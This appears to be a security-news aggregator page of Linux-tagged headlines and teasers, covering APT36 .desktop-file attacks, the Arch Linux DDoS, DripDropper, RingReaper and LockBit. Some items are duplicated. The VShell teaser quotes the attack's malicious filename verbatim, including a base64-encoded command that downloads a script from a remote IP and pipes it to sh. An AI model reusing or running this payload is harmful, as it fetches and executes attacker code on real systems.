Tag: linux
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Microsoft Launches Tool to Migrate VMware VMs From vCenter to Hyper-V
Microsoft today announced the public preview of a newVM Conversionextension for Windows Admin Center, enabling IT administrators to migrate virtual machines from VMware vCenter to Hyper-V with minimal downtime. Available at no cost during its preview phase, the lightweight tool supports online replication and conversion of both Windows and Linux VMs, streamlining hybrid data center…
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How Exposure Management Has Helped Tenable Reduce Risk and Align with the Business
Each Monday, the Tenable Exposure Management Academy provides the practical, real-world guidance you need to shift from vulnerability management to exposure management. In the second of a two-part blog series, Tenable CSO Robert Huber shares how exposure management has helped him reduce risk and better align with the business. You can read the entire Exposure…
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How Exposure Management Has Helped Tenable Reduce Risk and Align with the Business
Each Monday, the Tenable Exposure Management Academy provides the practical, real-world guidance you need to shift from vulnerability management to exposure management. In the second of a two-part blog series, Tenable CSO Robert Huber shares how exposure management has helped him reduce risk and better align with the business. You can read the entire Exposure…
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Arch Linux Services Hit by Week-Long DDoS Attack
Arch Linux”, the community-driven, lightweight distribution renowned for its rolling-release model”, has confirmed that a distributed denial-of-service (DDoS) attack has been targeting its core infrastructure for over a week. Beginning on August 18, users worldwide have experienced intermittent outages and slowdowns on the Arch Linux main website, the Arch User Repository (AUR), and the official…
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Transparent Tribe Targets Indian Govt With Weaponized Desktop Shortcuts via Phishing
The advanced persistent threat (APT) actor known as Transparent Tribe has been observed targeting both Windows and BOSS (Bharat Operating System Solutions) Linux systems with malicious Desktop shortcut files in attacks targeting Indian Government entities.”Initial access is achieved through spear-phishing emails,” CYFIRMA said. “Linux BOSS environments are targeted via weaponized .desktop First seen on thehackernews.com…
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Rowhammer attack can backdoor AI models with one devastating bit flip
Servers with DDR3 memory modules (demonstrated on 16GB Samsung DDR3)Workstations with DDR4 memory (demonstrated on 8GB Hynix DDR4)AI inference servers running popular models such as ResNet, VGG, and Vision TransformersEdge computing devices with vulnerable DRAM hosting neural networksCloud platforms using DDR3/DDR4 memory for AI model deploymentResearch computing systems running full-precision (32-bit floating-point) modelsMulti-tenant GPU servers…
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Pakistan-linked APT36 abuses Linux .desktop files to drop custom malware in new campaign
APT36 uses Linux .desktop files in new attacks on Indian gov & defense, aiming for data theft and persistent espionage access. Transparent Tribe (aka APT36, Operation C-Major, and Mythic Leopard), a Pakistan-linked threat actor, is using Linux .desktop files to load malware in new attacks against government and defense entities in India. The APT group…
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Happy Birthday Linux! 34 Years of Open-Source Power
August 25, 2025, marks the 34th anniversary of Linux, a project that began as a modest hobby and has grown into the bedrock of modern digital infrastructure. On this day in 1991, 21-year-old Finnish student Linus Torvalds posted to the comp.os.minix newsgroup: “I’m doing a (free) operating system (just a hobby, won’t be big and…
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Kopia: Open-source encrypted backup tool for Windows, macOS, Linux
Kopia is an open-source backup and restore tool that lets you create encrypted snapshots of your files and store them in cloud storage, on a remote server, on network-attached … First seen on helpnetsecurity.com Jump to article: www.helpnetsecurity.com/2025/08/25/kopia-open-source-encrypted-backup-tool-windows-macos-linux/
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Linux Under Attack: APT36 Launches New Cyber-Espionage Campaign on Indian Govt
The post Linux Under Attack: APT36 Launches New Cyber-Espionage Campaign on Indian Govt appeared first on Daily CyberSecurity. First seen on securityonline.info Jump to article: securityonline.info/linux-under-attack-apt36-launches-new-cyber-espionage-campaign-on-indian-govt/
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Arch Linux takes a pounding as DDoS attack enters week two
Project scrambles for mitigation as AUR, forums, and main site feel the strain First seen on theregister.com Jump to article: www.theregister.com/2025/08/22/arch_linux_ddos/
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APT36 hackers abuse Linux .desktop files to install malware in new attacks
The Pakistani APT36 cyberspies are using Linux .desktop files to load malware in new attacks against government and defense entities in India. First seen on bleepingcomputer.com Jump to article: www.bleepingcomputer.com/news/security/apt36-hackers-abuse-linux-desktop-files-to-install-malware/
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APT36 hackers abuse Linux .desktop files to install malware
The Pakistani APT36 cyberspies are using Linux .desktop files to load malware in new attacks against government and defense entities in India. First seen on bleepingcomputer.com Jump to article: www.bleepingcomputer.com/news/security/apt36-hackers-abuse-linux-desktop-files-to-install-malware/
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Linux Malware Delivered via Malicious RAR Filenames Evades Antivirus Detection
Cybersecurity researchers have shed light on a novel attack chain that employs phishing emails to deliver an open-source backdoor called VShell.The “Linux-specific malware infection chain that starts with a spam email with a malicious RAR archive file,” Trellix researcher Sagar Bade said in a technical write-up.”The payload isn’t hidden inside the file content or a…
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Stealth Threat Unpacked: Weaponized RAR Files Deliver VShell Backdoor on Linux Systems
Trellix Advanced Research Center has exposed an infection chain that weaponises nothing more than a filename to compromise Linux hosts. A spam message masquerading as a beauty-product survey offers a small reward and carries a RAR archive, yy.rar. When unpacked, the archive drops a single file whose name is a miniature Bash program: ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash The…
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Hackers deploy DripDropper via Apache ActiveMQ flaw, patch systems to evade detection
Hackers exploit Apache ActiveMQ flaw to install DripDropper on Linux, then patch it to block rivals and hide their tracks. Red Canary researchers observed attackers exploit a 2-year-old Apache ActiveMQ vulnerability, tracked as CVE-2023-46604 (CVSS score of 10.0), to gain persistence on cloud Linux systems and deploy DripDropper malware. Uniquely, they patch the flaw post-exploit…
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Hackers deploy DripDropper via Apache ActiveMQ flaw, patch systems to evade detection
Hackers exploit Apache ActiveMQ flaw to install DripDropper on Linux, then patch it to block rivals and hide their tracks. Red Canary researchers observed attackers exploit a 2-year-old Apache ActiveMQ vulnerability, tracked as CVE-2023-46604 (CVSS score of 10.0), to gain persistence on cloud Linux systems and deploy DripDropper malware. Uniquely, they patch the flaw post-exploit…
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Kali Vagrant Rebuilt Released with Pre-Configured Command-Line VMs
Kali Linux has announced a major overhaul of its Vagrant virtual machine distribution system, transitioning from HashiCorp’s Packer to the DebOS build system for creating pre-configured command-line accessible VMs. This strategic shift unifies Kali’s VM building infrastructure while introducing new compatibility requirements for Windows users running Hyper-V environments. The Kali development team has eliminated the…
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RingReaper Malware Targets Linux Servers, Stealthily Evading EDR Solutions
A new malware campaign dubbed RingReaper has emerged, targeting servers with advanced post-exploitation capabilities that exploit the kernel’s io_uring asynchronous I/O interface to bypass Endpoint Detection and Response (EDR) systems. This sophisticated agent minimizes reliance on traditional system calls like read, write, recv, send, or connect, instead using io_uring primitives such as io_uring_prep_* for stealthy…
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Apache ActiveMQ Breach Reveals Unusual Attacker Behavior
Tags: access, apache, breach, cyberattack, exploit, flaw, linux, remote-code-execution, update, vulnerabilitySecurity researchers have confirmed that a recent wave of cyberattacks is exploiting a critical vulnerability in Apache ActiveMQ, allowing attackers to compromise Linux servers and install long-term persistence tools. The attackers are not only gaining access through a known remote code execution flaw but are also patching the vulnerability afterward to cover their tracks. The……
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New DripDropper Malware Exploits Linux Flaw Then Patches It Lock Rivals Out
A new report from Red Canary reveals a clever Linux malware called DripDropper that exploits a flaw and… First seen on hackread.com Jump to article: hackread.com/dripdropper-malware-exploits-linux-flaw-patche-lock-out/
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Hackers Exploit Apache ActiveMQ Flaw to Breach Cloud Linux Servers
Tags: access, apache, attack, breach, cloud, cyber, cybersecurity, exploit, flaw, hacker, intelligence, linux, threat, update, vulnerabilityCybersecurity researchers have uncovered a sophisticated attack campaign where hackers exploiting a critical Apache ActiveMQ vulnerability are taking the unusual step of patching the security flaw after gaining access to victim systems. The Red Canary Threat Intelligence team observed this counterintuitive behavior across dozens of compromised cloud-based Linux servers, revealing a strategic approach to maintaining…
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A Linux alternative? Debian/Hurd shows microkernel Unix dream is alive
Tags: linuxThe official GNU microkernel is still breathing and now it’s 64-bit First seen on theregister.com Jump to article: www.theregister.com/2025/08/18/debian_hurd_13/
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‘RingReaper’ Sneaks Right Past Linux EDRs
The highly sophisticated post-compromise tool abuses the Linux kernel’s io_uring interface to remain hidden from endpoint detection and response systems. First seen on darkreading.com Jump to article: www.darkreading.com/cyber-risk/ringreaper-sneaks-past-linux-edrs
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Apache ActiveMQ Flaw Exploited to Deploy DripDropper Malware on Cloud Linux Systems
Threat actors are exploiting a nearly two-year-old security flaw in Apache ActiveMQ to gain persistent access to cloud Linux systems and deploy malware called DripDropper.But in an unusual twist, the unknown attackers have been observed patching the exploited vulnerability after securing initial access to prevent further exploitation by other adversaries and evade detection, Red Canary…
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‘DripDropper’ Hackers Patch Their Own Exploit
An attacker is breaking into Linux systems via a widely abused 2-year-old vulnerability in Apache ActiveMQ, installing malware and then patching the flaw. First seen on darkreading.com Jump to article: www.darkreading.com/cyberattacks-data-breaches/dripdropper-hackers-patch-own-exploit
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‘DripDropper’ Hackers Patch Their Own Exploit
An attacker is breaking into Linux systems via a widely abused 2-year-old vulnerability in Apache ActiveMQ, installing malware and then patching the flaw. First seen on darkreading.com Jump to article: www.darkreading.com/cyberattacks-data-breaches/dripdropper-hackers-patch-own-exploit
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Attacker “Patches” Vulnerability Post Exploitation to Lock Out Competition
Red Canary observed the novel tactic in a cluster of activity targeting a legacy vulnerability to access cloud-based Linux systems First seen on infosecurity-magazine.com Jump to article: www.infosecurity-magazine.com/news/attacker-patches-vulnerability/
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Lockbit Linux ESXi Ransomware Variant Reveals Evasion Techniques and File Encryption Process
A recent reverse engineering analysis of a Lockbit ransomware variant targeting Linux-based ESXi servers has uncovered several sophisticated evasion techniques and operational details. The malware, first documented in 2022, employs the ptrace system call to detect debugging environments by attempting to attach to its parent process. If this fails typically due to an existing tracer…